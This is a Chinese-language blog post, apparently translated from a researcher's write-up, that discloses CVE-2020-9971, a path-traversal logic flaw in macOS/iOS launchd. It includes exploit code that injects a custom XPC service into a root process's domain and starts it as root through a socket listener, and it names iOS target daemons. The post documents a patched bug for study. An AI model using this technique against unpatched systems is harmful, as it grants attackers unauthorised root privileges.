CVE-2020-9971滥用XPC服务机制来提升macOS / iOS中的特权

2021-01-25 14:48:13 浏览数 (1)

0x0 简介

在这篇博客中,我将详细介绍我在管理XPC服务时,在launchd进程中发现的一个有趣的逻辑漏洞,它很容易被利用,并且100%稳定地获得macOS/iOS的高权限。这个漏洞很容易被利用,而且100%稳定,可以在macOS/iOS中获得高权限。因为 launchd 是操作系统中最基本和最重要的组件,即使在最严格的应用沙盒中,这个漏洞也会发挥作用。该漏洞应该在macOS Big Sur和iOS 13.5之前就能使用。

0x1 XPC服务

XPC 服务是主应用程序捆绑包的 Contents/XPCServices 目录下的一个捆绑包。你可能不知道它,但它在操作系统中是非常常用的。

下面是一个XPC服务在FaceTime应用程序中的例子。

XPC 服务由 launchd 管理,并为单个应用程序提供服务。它们通常用于将一个应用程序划分为更小的部分。这样可以通过限制某个进程崩溃时的影响来提高可靠性,也可以通过限制某个进程被破坏时的影响来提高安全性。

这里的XPC Service应该与众所周知的LaunchDaemon和LaunchAgent区别开来。相对于全系统的LaunchDaemon和全登录用户的LaunchAgent,XPC Service是全进程的服务,只能由指定的应用程序启动和调用。

从macOS开发者的角度来看,在Xcode中添加一个XPC服务到项目中是非常容易的。

0x2 启动进程域

如前所述,XPC服务是由launchd管理的。launchd是如何将XPC服务限制在指定的进程中的呢?答案是 launchd 进程域。

进程域就像一个命名空间,存储了所有的XPC Service信息,这些信息只能由其所有者进程获取和修改。

当一个进程想要启动一个XPC Service时,launchd应该从它的进程域中找到并启动该服务。

我们可以用 launchctl 命令输出指定 PID 的进程域信息。

如:launchctl print pid/129

更多关于launchd域名的信息可以从saelo的优秀演讲bits_of_launchd中找到。

0x3 漏洞

关于进程域,launchctl用法有这样的描述。

"只有拥有该域的进程才可以修改它。即使是root也不能这样做。"

这个假设是有道理的,因为一个进程域应该只有它的所有者进程才能使用。如果一个进程可以修改其他进程的域,它就可以控制该进程的运行行为。这种能力将是非常危险的。

他们真的如他们所说的那样做了吗?

如果我们可以在一个根进程的域中添加一个自定义的XPC服务,XPC服务可能会以该进程的权限启动。

在launchd中,每个域类型都有其访问检查功能。

让我们来看看在大苏尔之前的macOS中,试图向进程域添加XPC Service时的进程域访问检查。

访问检查不比较呼叫者pid和进程域的所有者pid。有三种可能的情况可以绕过访问检查。

添加的XPC服务存在于目标进程的子目录中。

调用者用户是root。

sandbox_check_by_audit_token("forbidden-launchd-control", SANDBOX_CHECK_NO_REPORT) == 0。

如果我们能够满足其中任何一个条件,我们就可以在进程域中添加一个XPC服务。

对于条件3,使用api sandbox_check_by_audit_token来检查带有这个audit_token的进程是否在沙盒中,如果不在,就会返回0。也就是说,不在沙盒中的进程可以在其他进程域中添加自定义XPC服务。

对于条件1,如何检查进程的子目录中是否有XPC服务。

代码语言:javascript复制
bool __fastcall sub_10000B440(char *a1, char *a2)
{
 size_t v2; // rax
 v2 = strlen(a2);
 return strncmp(a1, a2, v2) == 0;
}

这段代码只是检查字符串的起始部分,所以它可能会受到路径遍历问题的影响。

如果我们可以向这个访问检查函数传递一个包含./的路径,我们就可以绕过检查,即使在最受限制的应用程序沙盒中也可以将自定义的XPC服务添加到进程域中。

0x4 漏洞

到目前为止,我们已经知道,我们可能会在其他进程域中添加一个自定义的XPC服务。我们将利用它来提升权限。

首先,我们需要找到一个可用的目标进程域。

在macOS中,有很多root权限的进程都有进程域。在这里,我使用了/usr/sbin/systemsoundserverd。

我们可以用命令行来输出域名信息:sudo launchctl print pid/308

代码语言:javascript复制
com.apple.xpc.launchd.domain.pid.systemsoundserverd.308 = {
  type = process
  handle = 308
  active count = 11
  on-demand count = 1
  service count = 10
  active service count = 0
  activity ratio = 0.00
  originator = /usr/sbin
  creator = systemsoundserv.308
  creator euid = 0
  uniqueid = 308
  external activation count = 0
  security context = {
    uid unset
    asid = 100000
  }
  ...
}

对于开发者来说,不需要显式的创建进程域,也不需要将XPC服务添加到域中去,libxpc框架会隐式的为我们完成所有初始化阶段的工作。在初始化阶段,libxpc框架会隐式的为我们做所有的工作,但是在libxpc.com中仍然有一个api xpc_add_bundles_for_domain。

然而,在libxpc.dylib中仍然有一个api xpc_add_bundles_for_domain,可以用来添加XPC服务到指定的进程域。当然,你也可以使用低级别的XPC消息,甚至是MACH消息,通过bootstrap端口与launchd进行通信。

在这里,我试图通过路径遍历的问题,将一个放置在exploit应用程序同一目录下的自定义XPC服务添加到一个systemsoundserverd进程域中。

代码语言:javascript复制
xpc_object_t pid_dict = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64(pid_dict, "pid", 308);   // target process domain
NSString* mainBundlePath = [[NSBundle mainBundle] bundlePath];
NSString* bundlePath = [NSString stringWithFormat:@"/usr/sbin/../..%@/../testXPC.xpc", mainBundlePath]; 
xpc_object_t xpc_bundle = xpc_string_create([bundlePath UTF8String]);
xpc_object_t paths = xpc_array_create(&xpc_bundle, 1);  // XPC Services path
xpc_add_bundles_for_domain(pid_dict, paths);

完成后,我们可以在目标进程域输出XPC服务信息。

launchctl print pid/308/com.r3df09.test.testXPC

产出是:

代码语言:javascript复制
com.r3df09.test.testXPC = {
  active count = 0
  copy count = 0
  one shot = 0
  path = /Users/r3df09/Desktop/testXPC.xpc
  state = waiting
  bundle id = com.r3df09.test.testXPC
  bundle version = 1

  program = /Users/r3df09/Desktop/testXPC.xpc/Contents/MacOS/testXPC
  inherited environment = {
    PATH => /usr/bin:/bin:/usr/sbin:/sbin
  }
  ...
}

我们可以看到,我们的XPC服务被添加到systemsoundserverd的进程域。

但是,我们的工作还没有完成!

这个XPC服务的状态是等待,暂时没有启动!

XPC服务是 "按需启动 "的。只有当一个应用程序创建了与服务的连接并向其发送消息时,它们才会被启动。

虽然我们可以在一个根进程域中添加一个自定义的XPC服务,但是我们无法控制该根进程使用我们的服务。

我们需要找到一个可行的方法来启动它!

从man launchd.plist中,我们知道一个服务可以监视一个文件路径或者监听一个socket。

在这里,我通过在XPC服务的plist文件中添加Sockets信息,让XPC服务监听一个socket端口。

代码语言:javascript复制
<key>LaunchProperties</key>
<dict>
  <key>Sockets</key>
  <dict>
    <key>Listeners</key>
    <dict>
      <key>SockServiceName</key>
      <string>9999</string>
      <key>SockType</key>
      <string>stream</string>
    </dict>
  </dict>
</dict>
<key>XPCService</key>
<dict>
  <key>ServiceType</key>
  <string>Application</string>
</dict>

我们可以看我们的自定义XPC服务在9999端口监听。

代码语言:javascript复制
com.r3df09.test.testXPC = {
  ...
  sockets = {
    "Listeners" = {
      type = stream
      service name = 9999

      sockets = {
        40 (no bytes to read)
        45 (no bytes to read)
      }

      active = 0
      passive = 1
      bonjour = 0
      ipv4v6 = 0
      receive_packet_info = 0
    }
  }
  ...
}

我们也可以通过launchd检查网络端口9999是否处于监听状态。

代码语言:javascript复制
Active Internet connections (including servers)
Proto Recv-Q Send-Q  Local Address          Foreign Address        (state)    
tcp4       0      0  *.9999                 *.*                    LISTEN     
tcp6       0      0  *.9999                 *.*                    LISTEN     
udp4       0      0  *.*                    *.*                               
udp4       0      0  *.56124                *.*

任何对这个套接字端口的连接都会使 launchd 进程以 root 权限启动我们的 XPC 服务。

代码语言:javascript复制
r3df09@r3df09s-Mac ~ % ps -A | grep test
  638 ??         0:00.01 /Users/r3df09/Desktop/testXPC.xpc/Contents/MacOS/testXPC
  643 ttys000    0:00.00 grep test
r3df09@r3df09s-Mac ~ % ps -p 638 -o uid,pid
  UID   PID
    0   638

0x5 苹果的补丁

要修复这个漏洞并不难,只要保证只有进程域的所有者才能修改就可以了。

为了做到这一点,launchd进程域访问检查函数现在获取调用者进程的audit_token,并始终检查调用者pid是目标进程域的所有者。

0x6 关于iOS

上面讲的主要是基于macOS的。我知道大多数人都比较关心iOS。

iOS和macOS几乎共享相同的launchd代码。所以,iOS上确实存在这个漏洞,它也存在路径遍历的问题。

在我向苹果公司报告了这个漏洞后,他们立即秘密更改了iOS 13.5中获取XPC服务路径的方法。

在iOS 13.5之前,它使用xpc_bundle_get_path来获取XPC Service的路径。这个api会返回原来的输入路径包含.../

从iOS 13.5开始,他们把这个api改成了属性类型为2的xpc_bundle_get_property,这个api会返回XPC Service的真实路径,而不包含./。这个改变试图禁止使用路径遍历问题来绕过访问检查。如果XPC Service在目标进程的子目录下,仍然允许将XPC Service添加到其他进程域。

从iOS 14.0开始,他们终于开始检查调用者进程是否是进程域的所有者。

虽然在iOS中,开发者是不允许直接使用XPC Service的。苹果自己在很多高权限进程中使用它。

不难找到一些有用的目标。比如,/usr/sbin/wifid或者/usr/sbin/mediaserverd 。

顺便说一下,关于这个漏洞的信息最近在2020年12月15日添加到iOS 14.0安全内容中。

0x7 结束语

对于开发者和普通用户来说,XPC服务很容易开发和使用。它对我们来说几乎是透明的。但是,它的内部机制如此复杂,一定有很多有趣的逻辑bug存在。

参考文献:

https://xlab.tencent.com/en/2021/01/11/cve-2020-9971-abusing-xpc-service-to-elevate-privilege/

0 人点赞